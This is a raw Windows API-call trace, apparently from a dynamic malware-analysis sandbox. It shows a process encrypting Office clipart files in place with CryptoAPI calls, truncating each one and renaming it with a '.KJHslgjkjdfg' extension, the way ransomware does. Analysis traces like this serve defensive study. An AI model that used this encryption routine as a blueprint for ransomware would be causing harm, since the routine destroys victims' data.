GetProcessHeap () returned 0x2ef0000 [0200.464] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.464] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.464] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.464] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.466] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.466] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.466] GetProcessHeap () returned 0x2ef0000 [0200.466] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.466] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.466] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.466] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.466] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.466] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.466] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.467] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.467] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.467] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.467] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.467] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.467] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2e7c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2e7c, lpOverlapped=0x0) returned 1 [0200.468] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2e80, dwBufLen=0x2e80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2e80) returned 1 [0200.468] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.468] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2e80, lpOverlapped=0x0) returned 1 [0200.469] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.469] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.469] SetEndOfFile (hFile=0x130) returned 1 [0200.471] GetProcessHeap () returned 0x2ef0000 [0200.471] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.471] GetProcessHeap () returned 0x2ef0000 [0200.471] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.471] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf.kjhslgjkjdfg")) returned 1 [0200.472] CloseHandle (hObject=0x130) returned 1 [0200.472] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0106222.WMF", cAlternateFileName="")) returned 1 [0200.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.474] GetProcessHeap () returned 0x2ef0000 [0200.474] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.474] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.474] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.474] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.474] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.474] GetProcessHeap () returned 0x2ef0000 [0200.474] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.474] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.474] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.475] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.477] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.477] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.477] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.477] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.477] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.477] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.478] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.478] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.478] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4c90, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4c90, lpOverlapped=0x0) returned 1 [0200.479] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4c90, dwBufLen=0x4c90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4c90) returned 1 [0200.479] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.479] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4c90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4c90, lpOverlapped=0x0) returned 1 [0200.480] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.480] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4d64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.480] SetEndOfFile (hFile=0x130) returned 1 [0200.483] GetProcessHeap () returned 0x2ef0000 [0200.483] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.483] GetProcessHeap () returned 0x2ef0000 [0200.483] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.483] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf.kjhslgjkjdfg")) returned 1 [0200.484] CloseHandle (hObject=0x130) returned 1 [0200.484] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x864, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0106572.WMF", cAlternateFileName="")) returned 1 [0200.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.486] GetProcessHeap () returned 0x2ef0000 [0200.486] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.486] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.486] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.486] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0200.489] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.489] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.489] GetProcessHeap () returned 0x2ef0000 [0200.489] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.489] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.489] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.489] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.489] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.489] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.489] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.489] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.489] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.490] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.490] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.490] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.490] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x864, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x864, lpOverlapped=0x0) returned 1 [0200.490] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x870, dwBufLen=0x870 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x870) returned 1 [0200.490] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.490] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x870, lpOverlapped=0x0) returned 1 [0200.490] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.490] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.490] SetEndOfFile (hFile=0x130) returned 1 [0200.493] GetProcessHeap () returned 0x2ef0000 [0200.493] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.493] GetProcessHeap () returned 0x2ef0000 [0200.493] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.493] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf.kjhslgjkjdfg")) returned 1 [0200.494] CloseHandle (hObject=0x130) returned 1 [0200.494] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0106816.WMF", cAlternateFileName="")) returned 1 [0200.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.495] GetProcessHeap () returned 0x2ef0000 [0200.495] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.495] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.495] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.495] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0200.498] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.498] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.498] GetProcessHeap () returned 0x2ef0000 [0200.498] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.498] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.498] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.498] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.498] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.498] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.498] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.499] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.499] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.499] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.499] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.499] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.499] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd04, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xd04, lpOverlapped=0x0) returned 1 [0200.499] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd10, dwBufLen=0xd10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd10) returned 1 [0200.499] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.499] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xd10, lpOverlapped=0x0) returned 1 [0200.500] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.500] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xde4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.500] SetEndOfFile (hFile=0x130) returned 1 [0200.503] GetProcessHeap () returned 0x2ef0000 [0200.503] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.503] GetProcessHeap () returned 0x2ef0000 [0200.503] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.503] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf.kjhslgjkjdfg")) returned 1 [0200.504] CloseHandle (hObject=0x130) returned 1 [0200.504] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x35d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0106958.WMF", cAlternateFileName="")) returned 1 [0200.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.505] GetProcessHeap () returned 0x2ef0000 [0200.505] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.505] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.505] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.505] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.507] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.507] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.507] GetProcessHeap () returned 0x2ef0000 [0200.507] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.508] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: 